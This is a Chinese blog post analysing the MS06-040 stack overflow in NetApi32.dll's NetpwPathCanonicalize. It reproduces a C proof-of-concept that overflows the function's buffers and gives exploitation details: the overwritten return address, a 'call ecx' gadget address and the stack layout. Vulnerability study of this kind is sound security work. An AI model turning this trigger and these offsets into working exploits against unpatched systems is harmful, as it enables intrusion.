经典栈溢出之MS060-040漏洞分析
找了好久才找到Win 2000 NetApi32.dll样本,下面我对这个经典栈溢出进行一下分析,使用IDA打开NetApi32.dll,问题函数:NetpwPathCanonucalize。实验环境:win xp sp3,ollydbg,IDA。exp编译工具:VC++ 6.0
其中的子函数存在溢出:
汇编代码注释:
两个溢出点,但是第一个无法利用:
找到一个网上的POC:
int main()
{
char Str[0x320];
char lpWideCharStr[0x440];
int arg_8 = 0x440;
char Source[0x100];
long arg_10 = 44;
HINSTANCE LibHandle;
MYPROC Func;
char DllName[] = "./netapi32.dll"; LibHandle = LoadLibrary(DllName);
if( LibHandle == NULL)
{
MessageBox(0, "Can't Load DLL!", "Warning", 0);
FreeLibrary(LibHandle);
}
Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
if ( Func == NULL )
{
MessageBox(0, "Can't Load Function Address!", "Warning", 0);
FreeLibrary(LibHandle);
}
memset(Source, 0, sizeof(Source));
memset(Source, 'b', sizeof(Source)-2);
memset(Str, 0, sizeof(Str));
memset(Str, 'a', sizeof(Str)-2);
(Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
FreeLibrary(LibHandle);
return 0;
}
动态调试:找到函数返回地址被覆盖的位置。
不仅找到了覆盖的返回地址,同时发现ecx指向栈顶
寻找call ecx硬编码FFD1:
根据搜集到的信息:
栈空间的起始地址为0012F258
0x0012F258 bbbbbbbbb
0x0012F348 bbbbbbbbbbbbbb
0x0012F358 aaaaaaaaaaaaa
0x0012F670 \xc2\x7b\x19\x75
0x0012F674 aa
0x0012F66C ebp
0x0012F670 返回地址
call ecx 0x75197bc2
根据POC编写exp,测试:
经典栈溢出之MS060-040漏洞分析的更多相关文章
- CVE-2010-3333-office RTF栈溢出漏洞分析
0x00 前言 此漏洞是根据泉哥的<漏洞战争>来学习分析的,网上已有大量分析文章在此只是做一个独立的分析记录. 0x01 复现环境 操作系统-->windows7 x64 软件版本- ...
- Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...
- DLink 815路由器栈溢出漏洞分析与复现
DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...
- SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用
前言 Schneider Electric Modbus Serial Driver 会监听 27700 端口,程序在处理客户端发送的数据时会导致栈溢出. 测试环境: windows xp sp3 相 ...
- CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析
漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...
- 书评第003篇:《0day安全:软件漏洞分析技术(第2版)》
本书基本信息 丛书名:安全技术大系 作者:王清(主编),张东辉.周浩.王继刚.赵双(编著) 出版社:电子工业出版社 出版时间:2011-6-1 ISBN:9787121133961 版次:1 页数:7 ...
- 4 CVE-2012-0158 漏洞分析
操作系统:Windows7 32位 专业版 Office:2003sp3_20120218.exe 工具:OD和IDA 1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆 ...
- 3 CVE-2017-11882漏洞分析
CVE-2017-11882漏洞分析 操作系统:Windows7 32/64位 专业版.Linux 软件:office 2003 sp3 工具:OD.IDA.Python模块.msfconsole 1 ...
- CVE-2012-0158 漏洞分析报告
Office 2003 sp3(CVE-2012-0158)漏洞分析报告 软件名称:Office 2003 sp3 软件版本:2.0 漏洞模块:MSCOMCTL.ocx 模块版本:2.0.0. ...
随机推荐
- UNIX网络编程——使用select函数的TCP和UDP回射服务器程序
服务器程序: #include <sys/wait.h> #include <string.h> #include <string.h> #include < ...
- 学习笔记-JS公开课三
DOM技术概述 DOM : DocumentObject Model 将HTML标记型文档,封装成对象,提供更多的属性和行为 DOM的三级模型 第一级:将标记型文档,封装成对象,提供更多的属性和行为 ...
- Android:android sdk源码中怎么没有httpclient的源码了
欢迎关注公众号,每天推送Android技术文章,二维码如下:(可扫描) 今天想使用这个API,怎么也找不到.废了好多时间... 查阅资料才知道如下解释: 在android 6.0(API 23)中,G ...
- 在 root 下执行 Oracle 程序时找不到 libclntsh.so.11.1 错误的解决办法。
在 root 下执行 Oracle 程序时找不到 libclntsh.so.11.1 错误的解决办法. 先确定 libclntsh.so.11.1 所在目录: [oracle@localhost ~] ...
- UNIX环境高级编程——非阻塞设置
非阻塞I/O使我们可以调用open.read和write这样的I/O操作,并使这些操作不会永远阻塞.如果这种操作不能完成, 则调用立即出错返回,表示该操作如继续执行将阻塞. 对于一个给定的描述符有两种 ...
- Bias and Variance 偏置和方差
偏置和方差 参考资料:http://scott.fortmann-roe.com/docs/BiasVariance.html http://www.cnblogs.com/kemaswill/ Bi ...
- 分布式进阶(三)Ubuntu 14.04 之JDK安装
Ubuntu 10.04 之JDK安装 1.从官网 (http://www.Oracle.com/technetwork/java/javase/downloads/jdk6u35-downloads ...
- Gradle 笔记——Java构建入门
Gradle是一个通用的构建工具,通过它的构建脚本你可以构建任何你想要实现的东西,不过前提是你需要先写好构建脚本的代码.而大部分的项目,它们的构建流程基本是一样的,我们不必为每一个工程都编写它的构建代 ...
- ROS(indigo)机器人操作系统学习资料和常用功能包汇总整理(ubuntu14.04LTS)
ROS(indigo)机器人操作系统学习资料和常用功能包汇总整理(ubuntu14.04LTS) 1. 网站资源: ROSwiki官网:http://wiki.ros.org/cn GitHub ...
- Leetcode_13_Roman to Integer
本文是在学习中的总结,欢迎转载但请注明出处:http://blog.csdn.net/pistolove/article/details/41486885 通过本文你可能学到的知识如下: (1)理解本 ...